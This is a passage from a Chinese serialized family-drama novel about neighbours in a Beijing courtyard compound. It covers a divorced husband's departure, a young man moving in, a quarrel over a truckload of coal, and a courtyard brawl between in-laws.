就是在这样热闹的气氛中，秦胜利出现在三号大杂院。 —— “哎哟，他这是上门来求和的吗？” “肯定是，都证明他没有在外头乱搞。那白莲肯定会原谅他啦！” 之前大家都不清楚白莲离婚的原因。但王娟的事情曝光后，大伙儿都猜当初离婚的原因就是王娟。现在王娟已经不成问题了。自然，不少人都认为白大姐会跟秦胜利复合。 毕竟这夫妻还是原配的好。 “这些人居然没一个敢围上来。”白兰看着被他爸邀请进屋说话的秦胜利，跟身边站着的许建北感叹。 许建北也觉得很神奇。过去这一周，他见识了不少人在议论秦胜利。白大姐作为秦胜利的前妻，受到的骚扰不少。 但当正主儿出现，没有一个人敢上去拉着人说话的。 “对了，下午就去拉石灰回来，一周的时间足够吗？” 许建北点头：“先把墙重新糊了。家具那些到时候再改改就差不多了。” 白兰说着说着，忽然觉得两人居然像要结婚的小两口，商量怎么装修房子的事情。 没错，冬天快到了。许建北准备在入冬前，把大杂院属于他的那半间屋子收拾好。螺丝厂已经给他分了套一居室。 这周把大杂院的屋子收拾出来后，他就要着手搬家的事情。 两人并没有特意去听屋里的动静，但不久就听到断断续续的“离开”这种字眼。 白兰索性拉着许建北进屋里坐下。 —— 屋里的人都没去注意他两的动静。这会子秦胜利正在交代后续的一些安排。 “我跟我爸申请去大西北的文件已经批复了下来。入冬前就会离开北城。什么时候回来暂时不知道。但是，每年我都会尽量回来一趟看看小芬跟小芳的。” 听到秦胜利的安排，白莲诧异了一下，随即点头。 眼前的秦胜利跟之前相比，精气神都不一样了。准确来说，眼前的秦胜利，跟她年少时心动的那个少年，多少有了些重合。 这说 明这人已经开始有了改变。 “我还以为你会挽留我呢！” 秦胜利拉拉杂杂说了一通，忽然自嘲地笑了笑。 白莲缓缓摇头：“事情都过去了，人要往前看。去大西北援建挺好的。你跟你爸一个有技术，一个有能耐。一起努力说不定能闯出一番事业来。” 秦胜利笑笑：“我就知道。” 其实，他来之前多多少少存了些奢望的。但奢望就是奢望，不可能会实现的。 “那一千五你不用怕，真的来路正常。是我爸妈跟爷奶当初逼我结婚时，拿出来收买我的钱。” 当初他不愿意跟王娟结婚，家里人各种手段都使尽了。最终，秦胜利在假意妥协的时候，直接要了这钱出来。 这钱要来给了孩子，家里以后的日子虽然紧巴，但也不是过不下去。 现在要离开北城前往大西北，以后花钱的地方更加少了。 秦胜利琢磨着到了那边，也要好好存钱。到时候把钱票都给孩子留着，是他这个当爹的唯一能做得了。 “以后，孩子就辛苦你了。也辛苦你们。” 最后这句话是朝着白家其他人说的。说完后，秦胜利朝白家众人深深鞠了一个躬。随即离开了白家，离开了三号大杂院。 这一次过后，白兰再也没见到过秦胜利，直到十年后。当然，这都是后话了。 伴随着秦胜利的离开，冬天的脚步进了。许建北在大杂院的房子修整完毕，准备这周搬迁。 第28章 第28章搬家与煤块 “周末就搬，到时候三哥会叫车过去拉，我这边也有几个朋友帮忙。所以爸妈你们不用特意跑一趟。至于爷爷的东西，到时候暂时放在厂里的那间屋子里……” 西厢老许家，许建北正跟父母说着周末搬家的安排。因为涉及到一部分爷爷留下的各种专业书籍，还有一些相册信件。所以他特意来家里一趟，跟父母说清楚。 这些东西当初爷爷去世的时候，他爸并没有要。东西就一直留在螺丝厂的小洋楼里。 现在他要搬走，这些东西自然也得带着。 许老倔听完儿子的话，点头：“你爷爷从小把你拉扯大。我这个当爹倒是没出过什么力。所以他的东西你好好保存就好。其他事情就不用都跟我们说。” 苗大菊说话比男人直接：“你这搬回来，是不是准备跟白家小闺女结婚呢？” 不是她多心，主要是过去的这几天，儿子天天往家里跑翻新他那屋子。周围不少邻居都来问她是不是快要娶儿媳妇了。苗大菊当然啥都不会说。但其实内心里还是希望小儿子赶紧娶媳妇的。 不说白兰本身就是个好姑娘，再则小儿子娶了对方，铁定就住在大杂院不会再来回跑。这样她也能多看小儿子几眼，好补偿这些年的缺失。 许建北好笑地看了她妈一眼，直接摇头：“结婚是之后要考虑的。妈你就别问先。要结婚的时候，我自然会跟你说。” 不是许建北不想结婚，而是他跟白兰都还没就结婚这个话题谈过。白兰是一位十分独立的女同志。许建北不想仓促之间就问对方结婚不。他想找个好一点的时机，再跟对方详谈。 当然，搬回大杂院就是第一步。 —— 就在许建北跟父母聊天的时候，隔壁住着的许老大许建东夫妻两，这会儿也说着许建北搬回来的事情。 “你小弟居然还真要搬回来了。你这个没用的，都多少年了。也没把那屋子给占了。你说说，现在他要搬回来，以后我们家的孩子住哪儿？” 苏小妹躺在床上，伸手就锤了边上的许建东几下，恨恨地骂了起来。 前几天许建北这小子开始收拾屋子，苏小妹就知道不妙了。让自家男人去找公婆说说房子的事情，但这没用的男人愣是不愿意挪动一步。 “住哪里住哪里，我怎么知道？你那么有能耐，自己去跟那小子说去。”许建东说起这话，语气特别不耐烦。 苏小妹气得差点说不出话来。但这男人就这么没用，她也不是第一次知道。深吸了一口气，苏小妹换了个话题：“你弟真要跟那个白兰结婚啊！那白家的女人不好对付。就说她那大姐白莲就不是个善茬，离婚后还能拿男人的钱来养孩子。” 说起白莲的事情，苏小妹的语气就酸溜溜的。秦胜利戴绿帽这个事情，固然让人笑得要死。但白莲在这个事情上，最终可是得了不少好处的。听钢厂那边的人说，秦胜利走之前，给了大几千块给白莲。 苏小妹绝对不承认自己居然羡慕一个离婚的女人。这女人离婚了，不用侍候男人，还能得到那么多钱。真是越想越让人生气。 所以，苏小妹不想许建北真跟白兰结婚。白兰有个那么厉害的大姐，那她也不会简单到哪里去。 老三许建南娶的那个柳美玲就不是个省心的。要是许建北再娶那个白兰进门，那她怕是要被欺负死了。 —— 关于许建北要搬回大杂院居住的消息，不止许家人受到影响，大杂院的邻居们一个个也都谈论了起来。 不少人都觉得许建北这是要跟白兰结婚了。不然也不会这时候说要搬回来住。 有人去找白妈妈打听情况，但得到的只有摇头的回复。因为白妈妈确实不知道许建北跟白兰的打算。 “哎，不知道也正常。现在的年轻人咱当父母的还是少干涉。看看秦胜利……” 万大妈这话一出口，立刻就意识到自己说错话了。 但白妈妈却不介意。因为秦胜利的事情确实人尽皆知，他人是走了，但留下了一大堆传说。 比如，秦胜利会被戴绿帽子，还是他妈带头给逼的。 就因为这个事儿，最近不少父母都不敢在婚事上过于干涉儿女，免得他们成为第二个秦胜利。 能引起这样大的改变，如果秦胜利知道的话，估计会有点欣慰吧！ “反正建北这孩子是个靠谱的。他跟兰兰的事儿，他们年轻人会自己商量好的。我们当爹妈的听就对了。” 白妈妈说着这话，心中其实也有担心。但不是担心白兰，而是担心二女儿白梨跟三女儿白苹。 大女儿的事情已经过去，以后她的日子不会差。 白兰是个有主意的，心眼儿又正，不会走歪路。 但白梨这妮子性格有点软，而且也没有看上什么男同志。白苹这孩子心眼儿有点歪。白妈妈真怕她走歪路。 其他人听到白妈妈的话，纷纷点头赞同，说是不能逼孩子。 —— 气氛正好的时候，有人就跟白妈妈打听今年的煤球要怎么买的事情。 主要是往年整座大杂院的煤球，都是通过钢厂那边弄来的。而钢厂那边走的关系，就是老秦家的关系。 但是今年夏天，秦胜利就跟白莲离婚，之后秦胜利又被戴了绿帽子，最后离开了北城。这样的话，再想通过秦家的关系买到煤块就比较困难的。 但如果不另外弄煤，光是每个人份额上分配的那点子，根本不够烧到明年开春。现在已经入冬了，虽然气温还可以，但煤要提前准备好。 煤块弄到手后，还得安排人打煤球呢！ 听到有人问这个，白妈妈直接摇头。今年的煤估计自家要走国营饭店的路子。但国营饭店不像钢厂，能跟煤场直接拉煤。所以，这煤今年自家就不太够用。对大杂院的邻居们，只能抱歉了。 一听今年没能弄到煤来，围着说话的几个大妈、婶子，表情就难看了不少。 但她们也知道这里面的干系，一个个都不好意思责怪。 但回到家里后，各自都不免跟自家人抱怨起来。 于是，白兰这天下班回来，就听到不少人在谈论这个事情。大部分都挺正常的，但也有那么一两个，表示白家人年年都帮着他们弄煤。今年不弄也不早说，害得他们没提前找路子。 对于这种人，白兰直接当场就怼了回去。 但回到家里，立马就跟家人提了提：“建北也有钢厂的关系。他已经找人帮忙，这两天会拉一车煤回来。到时候我们家跟许家平分这些煤。” 许建北还有两天就要正式搬回大杂院居住。煤块他也急需，所以就找曹昌盛帮忙，直接弄了一车煤块拉过来。 当然，车子估计还要等两天才能过来。因为这算是临时加塞的任务。 许建北也跟家里人提了提这个事情，让他们这两天抽空把门口的位置清出来，好等煤到了后卸到那。 许家人听说能弄到煤，一个个喜笑颜开。就连这几天一直黑着脸的苏小妹，这会儿也笑得见牙不见眼。 但出乎众人预料的是，第二天傍晚，就有大货车拉了一车煤块过来。 —— 货车到杏花胡同的时候，正好是傍晚大家下班的点。胡同有不少邻居都看到了那满满一车斗的煤块。一个个都围了上去，跟货车司机打听这煤块是送到哪家的。 司机是煤场那边安排的，只跟众人说是送到三号大杂院老白家的。 边上围观的万大妈一听，直拍大腿：“哎哟，这白家可真是能耐。不走秦家的关系，居然也能弄来这满满一大车煤。走……咱赶紧去把白家人喊过来，好分上一些煤块。” 但万大妈还没走，就立马被苏小妹给拦住了。 “等等，等等。谁说这车煤是白家弄来的。我们家小弟说了，他让钢厂的人帮忙弄了一车煤。说不好这车煤就是我们老许家的。” 边说苏小妹就边在心里骂许建北这胳膊肘往外拐的。弄那么一大车煤回来，居然直接往白家送。 跟着万大妈站一块的钱大妈不乐意了。她家就她跟老头子两人住，两人都上了年纪，最怕冷了。往年白家这些煤，可分了他们不少。 于是，钱大妈跳了出来：“苏小妹啊！这师傅都说了是往老白家送的。你咋还愣是说是你们家老四弄来的呢！” 苏小妹不服气，直接朝那在抽烟的司机问：“师傅，你说你这车煤，是钢厂那边的关系弄来的吧！” 司机师傅也是第一次见到这样的场面，觉得还挺好玩的。吐了个大圆圈，笑道：“可不就是走的钢厂的关系。” 苏小妹一听，抬了抬下巴：“你看，这不是破案了嘛！这就是我们家老四弄来的煤。要送只能送到我们老许家！” 白兰在货车不远处站着，把这些人的对话听了个正着。心里觉得许建北这大嫂看着真是不怎么省心。 不过这车煤她确定不是许建北那边弄来的。因为按照时间，最快也要到周末或者周一才有可能送到。 所以，眼前这满满一大车的煤块，到底是谁往她家送的。 在场众人都跟白兰有着同样的疑问。而大杂院不少人在听说这边的动静后，纷纷跑了过来。 一时之间，场面相当混乱。大伙儿都在争论这一车煤块的最终归属。 就在这时，身后响起一道熟悉的声音：“是我让人送来的！” 第29章 第29章打蜂窝煤 大伙儿看向说话人的方向，随即一个个都瞪大双眼。 白兰同样看向来人，皱眉：“你哪里弄来的煤？” 白苹抬了抬下巴，眼神微眯，一副神气的模样：“弄一车煤这点能耐我还是有的。刚听说你那对象也弄来了一车。怎么？是还没送到吗？还是说你被人给糊弄呢？” “你一个在报社坐冷板凳的，能有什么关系？” 见白苹说话这么难听，白兰故意戳她的痛脚。听大姐说对方虽然没在档案室了，但也没进入什么核心部门。目前依然是个坐冷板凳的命。而白苹这样自视甚高的人，特别痛恨人家说她这个。 果然，一听白兰听到工作的事情，白苹就跳脚：“坐冷板凳也好过你个做馒头包子的厨娘。” “行了，一天天不着家，一回来就挑事儿。你这煤是哪里来的？”白爸爸站在人群外头，大声问道。 大伙儿看他一副刚下班的样子，就开口劝了起来：“哎哟，老白。你不知道吧！你家三闺女这是出息了。给你们家弄了这么大一车煤。你这当人爹的就不要生气了。” 钱大妈这劝说的话一出，立马得到了白苹感激的眼神。 其他人也跟着打圆场。这白苹能弄来一车煤，那就是她有能耐。而这一车煤老白家肯定用不完。到时候他们这些邻居都能沾光。 白兰见邻居们态度的改变也没生气。径直走到她爸跟前：“爸，咱回家吃饭去吧！” 白爸爸点头。 白苹气炸：“爸，这煤可是我特意弄来给家里的。你怎么啥也不说就回去吃饭？” 白爸爸：“这东西来历你不说清楚，我不敢用。” 这话对于一个姑娘来说有点重。但白爸爸真心觉得白苹这闺女变得他都不敢认。 闺女能给家里弄煤他高兴。但如果是通过走歪路弄来的，那他不稀罕。而白苹这闺女，恰巧就是会走歪路的那种。 这样的局面，跟白苹设想中的衣锦还乡差太远了。她狠狠跺脚，想说什么，但又觉得家里人真是不知好歹。 这时苏小妹嘲讽道：“哟，这车煤来头有问题啊！” 其他人一听，瞬间也说不出分点煤给他们这个事了。 眼瞅着家人们、邻居们一一离开，白苹最终朝已经快到大杂院门口的亲爹冲了过去。 “爸，我保证这煤没有问题。我是帮了钢厂的人忙。人家用这车煤来还人情的。” 众人一听，恍然大悟。原来是还人情的啊！他们还以为白苹有什么人脉呢！ 白苹一看大家的表情，更加生气了。她一开始故意不说清楚煤的来路，就是想营造一种自己人脉多的假象。现在这样说出来，什么神秘感都没有了。 这让白苹相当难受。 所以，她又故意大声道：“这煤块我看我家也用不上那么多。大家有需要可以匀一些过去。” 话音刚落，立马得到了不少人的赞美。纷纷夸白苹人美心善有能耐。 听着这些夸奖，白苹转头想给白兰一个得意的眼神。但白兰已经拉着自家老爹回家吃饭去了。 想要炫耀的对象跑了，让白苹当场气得快要吐血。那种一拳打到棉花的感觉，真是让她憋屈。 这让沐浴在众人夸赞中的白苹，瞬间也觉得没什么意思。 而已经回到家里的白兰，其实在走之前已经看到白苹那骄傲炫耀的表情。不过她可不吃这一套。白苹那么爱表演，那就表演给想看的人看呗！ 最终，这车煤被大杂院的邻居们瓜分了。除了许家跟白家，其他人家都分到了一些。 —— 这个结果无疑让白苹觉得今天这一出白来了。浪费了她的人情，即使买煤的钱要回来了，但她一点都不爽。 只是在跟弄来煤的人打电话时，白苹立马就换了一个语气：“宋同志，这是真是感谢你的帮忙。不然靠我自己，根本弄不来这么多煤。我爸妈年纪越来越大了，正是需要用煤的时候。” “不用谢，这只不过是感谢你的消息而已。”电话那头的人淡淡丢下这句话，直接就把电话给挂上了。 从头到尾，那边的人就没对白苹有过任何情绪波动。 白苹被对方这样冷淡的态度弄得更加生气了。她狠狠把听筒摔下，暗自发誓一定要尽快把自己的计划施行。 这一次，她不会那么容易放弃的。 —— 许建北很快也知道了白苹弄了一车煤回大杂院，并且跟白兰进行了一场争吵。他一个大男人不好跟白苹计较。但立马就去打听白苹这煤的来历。 因为走的是钢厂的路子，许建北很容易就打听到煤是通过宋厂长的路子弄来的。而宋家也不知道谁欠了白苹的人情。 这倒让人有点惊讶。 白兰听完许建北叙述，同样疑惑白苹怎么跟宋家扯上关系。自从她解决掉跟宋国平的那点子亲事后，她就没怎么去留意宋家的事情。 主要两家没有什么牵扯，如无意外，这辈子估计就是两条平行线了。没想到时隔几个月，宋家人再次出现在他们的生活中。 “这白苹不会是又要搞什么事情吧！” 这是白兰基于对白苹的了解，所做出的一个推论。白苹这人无利不请早。冷不丁给家里弄煤就十分可疑。牵扯到宋家在里头，那就更加可疑了。 按照白兰看过的无数狗血小说，她不得不怀疑白苹是不是打了那种主意。如果是的话，那就太过狗血了！ —— 事实上，白苹确实在打那个主意。而且在送煤前就已经在打主意了。不然，也不会刚好就给宋国平送信，让他可以及时阻止父母对柳秀雅的一些逼迫。 得了宋国平的人情，白苹立刻就让对方兑现。会选择给家里送一车煤，也是想在宋国平跟前，表现出自己的善良。 因为她听说宋国平会喜欢柳秀雅，是因为对方是个特别善良的女人。 可惜，这一招看来并没有给宋国平留下多深的印象。 好在，白苹早就有了心里准备。马不停蹄开始写举报信。这一次她举报的人是宋国平。举报对方跟柳秀雅有男女关系。而柳秀雅这个有海外关系的人，牵扯到万人大厂厂长家，铁定能让宋家下定决心，立刻给宋国平找个身家清白的女人。 想到未来宋家成为钢厂的主人，想到宋国平未来拥有的那些铁矿、煤矿，白苹心中就一阵火热。 通过妇联，通过报社，提高自己的社会地位进而跻身上层的机会渺茫。那么，她更加不能放弃一开始就准备好的保底路子。 —— 白苹的这些雄心壮志白兰并不清楚，也不感兴趣。 虽然猜到白苹的目的，并且觉得十分之狗血。但是，这事儿说到底跟白兰没有半毛钱关系。还不如早点睡觉，明天许建北搬家的时候，帮着他一起收拾东西。 第二天很快就到来。舒服睡了一觉过后，白兰起来洗漱，就已经看到院子热火朝天忙活了起来。 好些小伙子都在嘻嘻哈哈地往院子送黄泥。这些黄泥要跟煤块混合起来，然后做成更加耐烧的蜂窝煤。 见到白兰起来，秦堂热情地朝她打招呼。 白兰笑着来了句：“这么早就来干活啊！” 秦堂点头：“是啊！这不是正好放假。” “哎哟，秦堂。你小子最近怎么一直住在厂里。是不是在厂里找到对象啦！” 胡寡妇不知道从哪里窜出来，带着些试探意味地问秦堂。 万大妈紧跟着也笑嘻嘻：“就是，你小子铁定有情况。不然不会住集体宿舍去的。” 是的，自从胡爱民跟高青青结婚后，秦堂先是住在秦胜利家。后来秦胜利被带绿帽事情后，他就直接搬到纺织厂的集体宿舍去住了。虽然那的条件很差，以前他十分嫌弃。 但为了自己的清白名声，秦堂也不敢嫌弃了。 今天放假来大杂院，也是因为要做煤球。他是家里唯一的年轻男人，这个活儿当仁不让。 现在听到胡寡妇的声音，秦堂下意识地抖了抖。幸好接着万大妈就插话，总算是让他没那么紧张了。 —— “最近准备考四级电工。这不是忙着学习吗？” 一听秦堂不回家是在努力上进，胡寡妇的脸就垮了下来。她儿子胡爱民也是电工。两人同个办公室工作好几年了，秦堂的职级一年考一级，儿子却还是最低级的那种。 这样的强烈对比，让胡寡妇更加不乐意了。 而她之所以这样，除了红眼病，当然还有高青青的缘故。结婚都那么些天了，儿子跟高青青还没圆房。想到高青青婚前认错秦堂的事儿，胡寡妇就一阵憋闷。 当时秦堂还是她特意让儿子带过去，就为了让女方混淆。反正她家条件好，等过了第一面后，女方家知道自家的条件，自然就不会嫌弃儿子了。 最终高青青跟儿子结婚，证明自己没有错。但是高青青不肯跟儿子圆房，这让胡寡妇知道，自己还是做错了一点。 而秦堂这小子就是一个大大的隐患。 这样想着，胡寡妇还想说什么。忽然就看到高青青站在门口往院子这边张望。 因为要活泥巴，院子的年轻男人们一个个都穿着单薄的衣服。显得身材一个个都壮硕不已。而自己儿子也在其中，本来已经够矮够瘦的了，这会儿对比起来更加没有看头。 虽然心中是这样想的，但胡寡妇还是朝高青青那喊道：“看什么看？赶紧去干活。结婚那么些天，什么都不干就会吃。吃吃吃，以后天天都吃野菜糊糊得了。” 高青青被这样没头没脑地训斥，表情十分难看。但她也知道自己不肯跟胡爱民圆房，已经触怒了胡寡妇。所以被骂是正常的。 其实高青青也有想过躺下，眼睛一闭就过去了。但她最终发现做不到啊！真的，就连闭眼都是一种折磨。 这样想着，她又朝秦堂那投了一个求救的眼神。希望秦堂能站出来给自己撑腰。 可惜媚眼没被秦堂这愣头青看到。倒是被胡寡妇逮了个正着。她撸起袖子，就想过去教训一下高青青。 但门外已经响起了大货车的喇叭声，紧接着就听到大头从外头跑了进来。 “走走走，哥几个过去帮北哥搬东西。” 白兰本来坐在门口看热闹，见胡寡妇想要教训高青青，十分好奇高青青的反应。不是她冷血，实在是高青青结婚是自愿的。两人没有圆房她也知道。这事儿整个大杂院的人都知道了。只有胡寡妇还自以为瞒得很好。 不肯圆房，但又想占胡家的便宜。世界上哪里有这样好事儿呢！ 可惜苦了秦堂。 不过这瓜还没吃完，大头这一来，白兰立马起身就迎了出去。吃瓜重要，但许建北的事儿更加重要。 第30章 第30章打起来啦！ “怎么这么快！” 白兰朝进来的许建北走了过去，顺手接过他身上挂着的一个挎包。挎包鼓囊囊的，一看就知道里面放了重要的证件跟值钱的东西。 许建北放心地把包交给白兰，笑道：“人多力量大啊！” 在螺丝厂有不少人帮忙，到了大杂院这边，又有那么多邻居帮忙。真是一人一件东西，估计不用十分钟就能把东西都卸下来。他这次往大杂院这边搬的东西，主要就是衣服、书籍以及一张新的床、梳妆台跟书桌。 其中床、梳妆台跟书桌这些家具，是他跟白兰一起去订做的。大杂院的屋子只有半间十多平，所以柜子做的是可以叠放的组合柜。 组合柜这个名词，还是白兰教他的。 “那你先带人放东西，我在这边帮忙看着。”白兰笑着推了推男人，示意自己在这边帮忙。 许建北乐呵呵点头：“那你小心点，别让东西给砸到了。” “哎哟哟，大白天的至于这么黏糊吗？” 边上忽然传来一阵冷嘲热讽，白兰看过去，果不其然，说话的人就是许建北的大嫂苏小妹。 这女人可真是讨厌！ 白兰虽然觉得这人对自己没啥影响，但是对方老是在眼前蹦跶，让人挺看不顺眼的。 不等她说话，许建北已经不客气地回怼：“大嫂，你不说话没人当你是哑巴。整天说话这样难听，这是瞧不起我是吧！” 苏小妹其实就是看不惯白兰，顺嘴就来了这么一句。哪里能想到许建北这臭小子居然那么不客气。 当下一拍大腿就想嚎叫。但对上许建北那冷冷的眼神，愣是把要出口的话又给吞了回去。 许建北冷笑：“大嫂既然那么看不起我。之后我弄回来的煤大嫂估计也看不上了。” 说着，许建北笑着看向白兰：“等煤到了后，你家多要点。我们这边不用那么多。” 白兰看着苏小妹那张脸从白变红变绿再到变白。忍着笑意朝义正言辞的许建北点头。语气郑重道：“好，我知道了。正好我家也想多要点煤。” 许建北见白兰这样配合，朝她快速点头。然后转身继续去外头搬东西。 两人这一番互动，完全就把苏小妹当成透明人。这让苏小妹气得头顶要冒烟。而且，许建北自说自话，直接就把属于她家的煤给扣了。苏小妹又气又怒。想要发火，又怕再把许建北给得罪狠了，再给她弄些啥幺蛾子。 但煤不能不要，许建北不肯给她，她就去找公婆说理。 不过不等她诉苦，早已经看完全过程的苗大菊不客气地瞪了她一眼：“苏小妹，你要是对我们老许家有意见，那你趁早离婚回家嫁给更好的。别整天在家里搞事情。” 苏小妹：…… 白兰一直忍着的笑，终于在这句话后破功了。她笑了好几声，顺了顺气，觉得今天的天气可真好啊！ 那头的苗大菊教训完苏小妹后，转头笑眯眯地看向白兰：“小兰啊！今天中午建北要请几个朋友在家里吃饭。你也一起来？” 白兰跟许建北谈对象以来，其实还没正式登过许家的门。许建北倒是往白家跑过许多趟。更是在白家吃过好几次饭。 明明两家就在一个院儿，直线距离不超过五十米。但白兰真的没怎么往西厢那边去。 现在听到苗大菊亲口说出的邀请，虽然白兰早已经答应许建北中午一起跟他朋友吃饭。但白兰还是有点点别扭。不是不乐意，就是总觉得跟苗大菊相处有点别扭。估计自己的心态还没转换过来。 虽然是这样，但白兰对苗大菊的印象其实挺好的。所以脸上自然露出笑容，点头答应。 两人的这一番互动，落到其他人眼中，就觉得这对未来的婆媳相处挺愉快的。 —— 于此相对应的，现成的婆媳胡寡妇跟高青青，这会儿却一副要打起来的模样。 “你眼睛往哪里看？往哪里看？” 胡寡妇单手按住高青青的肩膀，压低声音质问起来。她也知道丢人，现在院子人来人往的。有搬东西的，有打煤球的。要是刚刚高青青那丑态被人看到宣扬出去的话，他们老胡家的脸就丢尽了。 高青青也没胆子大声嚷嚷起来。虽然她很想大声嚷嚷，说自己不喜欢胡爱民，喜欢的是秦堂这样伟岸的男人。但是，她不敢。只是她真不甘心就这样跟胡爱民。那会让她觉得自己被糟蹋。 于是，高青青瞪大双眼看着胡寡妇：“相看时说好了，结婚后会把那张存折给我，会给我找份城里的工作。这些你们都没有兑现。” 胡寡妇一听并没有觉得理亏。她可是给了五百块彩礼钱的。就是拿去打个金人也够了。 要不是农村女孩好拿捏，她怎么也不会找到对方头上。结果来了高青青这样不安分的女人，好好的日子不过，眼睛老是乱瞟。这让胡寡妇对介绍人何站长也埋怨了起来。 “我不管，反正一天条件不兑现，我一天都不会跟胡爱民圆房的。” 说着，高青青又朝秦堂那边看了一眼。挑衅意味很浓。 不过她运气不咋滴，这次被胡爱民看了个正着。 结婚这么些天，连媳妇的手都没摸到。胡爱民心中已经有一把火。他多少也知道自己被嫌弃了。而且还被秦堂给比下去了。 今天打煤球，他特意出来就想跟秦堂比比。现在见高青青这个鬼样子，一时气狠，胡爱民居然举起手里的铁铲，直接朝秦堂砸了过去。 这动作出现得太突兀，大家不是在搬东西就是在打煤球，再不济也在看热闹。没人想到胡爱民忽然发疯。好多人都来不及说啥，只抽了好几口冷气。 就在这时，白兰把肩膀上挂着的挎包直接朝胡爱民甩了过去。 —— 看着鼓囊囊的绿色挎包，直接砸到胡爱民的脑袋，把他都给带得后退了好几步。众人这才把提着的心又放了下来。 白兰同样松了口气。这时候忽然想起那个挎包里面，可是放着许建北的全副身家，也不知道里面有没有什么贵重物品被砸坏。 但刚刚那个情况，她要是不出手，秦堂怕是要被开瓢了。 而马上，秦堂已经反应了过来。转头就给了胡爱民两记拳头。然后弯腰把挎包从地上捡了起来。 “谢谢啊！白兰！” 边上一直在看热闹的秦艳，吓得一个哆嗦。见自家亲哥能动能跳还能打人后，立刻跟着朝白兰喊谢谢。然后对着已经倒在地上的胡爱民又来了几脚。 整个事情从发生到结束说起来很长，但其实都不到两分钟。 胡寡妇在儿子倒地的一瞬，已经反应过来。想也不想就朝儿子冲了过去。顺手先给高青青甩了两耳刮子。 等胡寡妇冲到胡爱民身边时，白兰已经把挎包拿了回来，重新背在肩上。 而挎包的主人许建北，正领着好几个小伙子往院子这边搬运床板。 一进院子看到这阵仗，许建北立刻问白兰。 白兰三言两语就把事情的经过说完，顺嘴问：“包里的东西不会砸坏吧！” 见白兰这副可爱担忧的小模样，许建北笑着摇头：“里头都是证件跟钱票。” 意思就是其他值钱的东西藏着没在这儿呢！ 白兰心领神会，高兴点头。没砸坏值钱的东西，又能救人，可真是好。 两人说话的时候，那头的胡寡妇已经跟秦家兄妹吵了起来。 —— “干什么，干什么打我儿子？” “胡爱民要杀我，我怎么就不能反击！” “我大哥差点命都没了，你怎么不说！” 秦家兄妹的战斗力没有胡寡妇强，但兄妹同心，直接朝胡寡妇就怼了起来。 院子这里的动静太大了，秦叔跟秦婶子也从屋里跑了出来。直接就把儿子跟女儿拉到身后。 秦叔作为家里的男人，不跟胡寡妇一个女人动手。但是胡爱民无缘无故要拿铁铲砸自己的儿子，秦叔就不会放过对方。 只见对方伸手拽着胡爱民的脚，就把人从胡寡妇的怀里拖了出来。随即，单手拎着胡爱民的衣领，直接给他来了几个拳头。 整个动作一气呵成，院子的众人都没反应过来，胡爱民已经被打得嗷嗷叫。 白兰震惊脸，摇了摇许建北的手臂：“秦叔……秦叔也太厉害了吧！” 许建北深有同感：“之前大家说秦叔是战斗英雄，我还没多少感觉。但这会儿，说秦叔能手撕鬼子，我都信了。” 秦叔是纺织厂保卫科的科长，同时也是一位退役军人。虽然人长得魁梧，但因为是个老好人，一直给人一种好欺负的感觉。 但这会儿没人会觉得秦叔好欺负了。 “都几十年老邻居了，还是第一次见老秦发火。”边上好些个大爷大妈都感慨了起来。 自然，大家也都知道了胡爱民忽然发疯，想砸死秦堂的事儿了。 虽然不知道原因，但胡爱民确实有这个动作。而且是被不少人看到的，赖都赖不掉的那种。 一时之间，所有人都朝胡爱民指指点点起来。纷纷指责他这是要害了秦堂的命。太恶毒了！ —— 事情的发展完全出乎胡寡妇的意料。但她当年能在丈夫死后，就从纺织厂弄来一笔赔偿金。又能一个人把儿子女儿拉扯大，还给他们两都找到工作。这就说明胡寡妇不是一般人。 眼见着大杂院的人都指责儿子，她知道不能任由事情下去。再继续下去，儿子的未来就毁了。甭管背后怎样，但是面上的工作一定要做好。 于是，胡寡妇一拍大腿，也嗷嗷叫道：“我儿子是一时失手，他不是故意的。他就那么丁点儿大。怎么可能举起铁铲砸秦堂。秦堂一只手就能把我儿子拎起来了。” 这话其实挺胡搅蛮缠的，大家伙又不是没眼睛。几十双眼睛都看到胡爱民的动作了。这样狡辩不就是把大家都当傻子吗？ 而胡爱民这会儿在干嘛呢？ 这会儿胡爱民已经被秦叔甩回地上了。不过对方依然在嗷嗷叫，显然被揍得狠了。 胡寡妇一听宝贝儿子的哭声，立刻哭到：“你们这是想逼死我们孤儿寡母啊！” 熟悉的台词，大杂院的邻居们都听了十多年了 。这会儿再来，一个个都等着看胡寡妇继续闹笑话。 哪成想，胡寡妇不按牌理出牌。转头就朝捂着脸的高青青跑了过去。然后一把抓住高青青的头发，直接把人拖到院子中央。 事情忽然来了这么一个急转弯，大伙儿都傻眼了。 30-40 第31章 第31章震惊脸 “放开我，放开我……” 冷不丁被胡寡妇这样拖着头发走，高青青只觉得头皮传来的痛，都要盖过耳刮子带来的痛了。她尖叫出声，希望这座大杂院的人站出来帮忙。 她可是知道这里住的人都是有同情心的。之前因为自己忽然嫁过来，还跑去街道办举报，生怕自己被骗婚了。这也是她敢跟胡家人对着干的底气所在。 不过这次高青青的盘算落空了。 大杂院的住户又不是傻子。你都自愿嫁到胡家了，现在跟胡寡妇干架，那就是婆媳矛盾。好些人都把这事儿归到家事上头。根本没有人直接站出来给她“主持公道”。 胡寡妇知道这女人在等什么，她冷笑出声：“别痴心妄想了。” 说着，她环顾四周，把所有人的表情看在眼中后，忽然脸色变得极其愤怒：“我现在也不怕丢人了。我儿子之所以忽然发疯要打秦堂，都是因为这贱蹄子！” 这话一出，一直等着吃瓜的众人，齐齐发出“哦”的一声。脑子聪明的立马想到了什么似的，看向秦堂的目光充满了同情。 而秦家人在听到胡寡妇的话后，脸色大变。 秦婶子更是朝胡寡妇冲过去，想要堵住她的嘴。不为别的，就怕这女人胡咧咧，把自家儿子的名声给毁了。 但胡寡妇显然真的很有一手。这人躲过了秦婶子伸过来的手臂，继续道：“这贱蹄子嫁到我家这么多天，一直不肯跟我儿子圆房。我儿子心里过不去，一时情绪激动，才会不小心举起铁铲想要发泄……” 这话一出，秦婶子愣住了。邻居们同样愣住了。 胡寡妇见状，心里暗自松了口气。她也不傻，可不会真把高青青看中秦堂的事情说出来。到时候她得不到什么好处不说，还把秦家人都给得罪了。这种傻事她是不会做的。 当然，为了不放过高青青，胡寡妇说话特别刻薄：“我家儿子就是被她逼得要发疯了。她不肯跟我儿子圆房不早说。早说我们家就不娶她了。花了五百块钱娶回来的媳妇，好吃好喝供着。到头来啥也不干，连房都不愿意圆，我这是造了什么孽啊！我们家这是被骗婚啦！” 